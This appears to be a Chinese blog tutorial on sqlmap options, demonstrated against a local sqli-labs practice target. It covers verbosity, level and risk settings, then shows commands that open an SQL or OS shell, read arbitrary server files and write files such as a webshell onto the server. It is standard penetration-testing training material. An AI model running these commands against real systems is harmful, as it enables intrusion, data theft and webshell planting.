说明:本机IP:192.168.88.1,端口8086,以靶场sql-labs为例
常见参数用法
01 -v
不同等级的区别
用法示例:sqlmap -u "http://192.168.88.1:8086/sqli-labs/Less-1/?id=1" -v 0 --batch
-v 0 显示Python的回溯,错误和关键消息
-v 1 显示信息和警告消息
-v 2 显示调试消息
![](https://img-blog.csdnimg.cn/direct/95842f35a90840cebb29f2d107d0e62b.png)
-v 3 有效载荷注入
![](https://img-blog.csdnimg.cn/direct/06c107807d9f4b95a854f0d9b9815ace.png)
-v 4 显示HTTP请求
![](https://img-blog.csdnimg.cn/direct/f293fe62633748ffb5aa980e8adb0ddf.png)
-v 5 显示HTTP响应头
-v 6 显示HTTP响应页面的内容
![](https://img-blog.csdnimg.cn/direct/bea9f076c868485b9f926577de975df4.png)
02 --level
等级分为1-5 ,级别越高检测越全
-level 1 默认等级,执行基本的SQL注入测试和一些常见的payloads
-level 2 在Level 1的基础上,增加了对HTTP Cookie的测试
-level 3 在Level 2的基础上,增加了对HTTP User-Agent和Referer头部的测试
-level 4 进一步增加更复杂的payloads和测试方法
-level 5 最高等级,包含所有payloads,会自动破解Cookie、XFF等头部注入,提供最全面的测试
等级越高,会消耗更多的时间和网络流量
03 --risk
risk有3级,级别越高风险越大,默认为1
-risk 2 会在默认的检测上添加大量时间型盲注语句测试
-risk 3 会在原基础上添加OR类型的布尔型盲注,可能会update到时修改数据库,有很大的风险
高级用法
01 执行指定sql语句
格式:sqlmap -u "URL" -sql-shell --batch
用法示例:sqlmap -u "http://192.168.88.1:8086/sqli-labs/Less-1/?id=1" -sql-shell --batch
02 执行OS系统命令
使用前提:
当且仅当数据库是mysql、postgresql、sql server时可以执行。
当数据库是mysql时,需要满足3个条件:
1、root权限
2、已经知道目标站点的绝对路径
3、secure_file_priv的参数值时空(未修改前是NULL)
- secure_file_priv的值为null,表示限制mysqld不允许导入/导出
- secure_file_priv的值为D:/,表示限制mysqld的导入/导出只能发生在D盘目录下
- secure_file_priv没有具体值时,表示不对mysqld的导入/导出做限制
格式:sqlmap -u "URL" --os-shell
用法示例:sqlmap -u "http://192.168.88.1:8086/sqli-labs/Less-1/?id=1" --os-shell
sqlmap在指定的目录生成了两个文件(文件名是随机的,文件作用路径前有提示):
- tmputpkm.php 用来上传文件
- tmpbbbqa.php 用来执行系统命令
执行系统命令利用
上传文件利用
上传一句话木马文件,用webshell工具连接
如果是非正常退出sqlmap的话,这两个文件不会被删除。只有当我们输入 x 或 q 退出 sqlmap 时,该文件才会被自动删除。
03 读取服务器文件
前提:数据库是:mysql、postgresql和sql server
sqlmap -u url --is-dba
# 查看是否为dba权限,必须为root权限
用法示例:sqlmap -u "http://192.168.88.1:8086/sqli-labs/Less-1/?id=1" --file-read "F:\test.txt"
(可读取任意地址的文件)
04 上传文件到服务器
前提:数据库是:mysql、postgresql和sql server
用法示例:sqlmap -u "http://192.168.88.1:8086/sqli-labs/Less-1/?id=1" --file-write /test.txt --file-dest "F:\test2.txt"
# 上传文件(本地木马路径:目标网站目录)--可上传到任意位置
05 直接连接数据库
格式:sqlmap -d "数据库类型://用户名:密码@IP:数据库端口号/数据库名"
用法示例:sqlmap -d "mysql://root:123456@192.168.88.1:3306/mysql" --dbs --batch
参考文章:
SqlMap工具使用(超详细-网安(白帽黑客)人员必看!!!)_sqlmap 计算hash的工具-CSDN博客
sqlmap基础知识(三)_sqlmap level-CSDN博客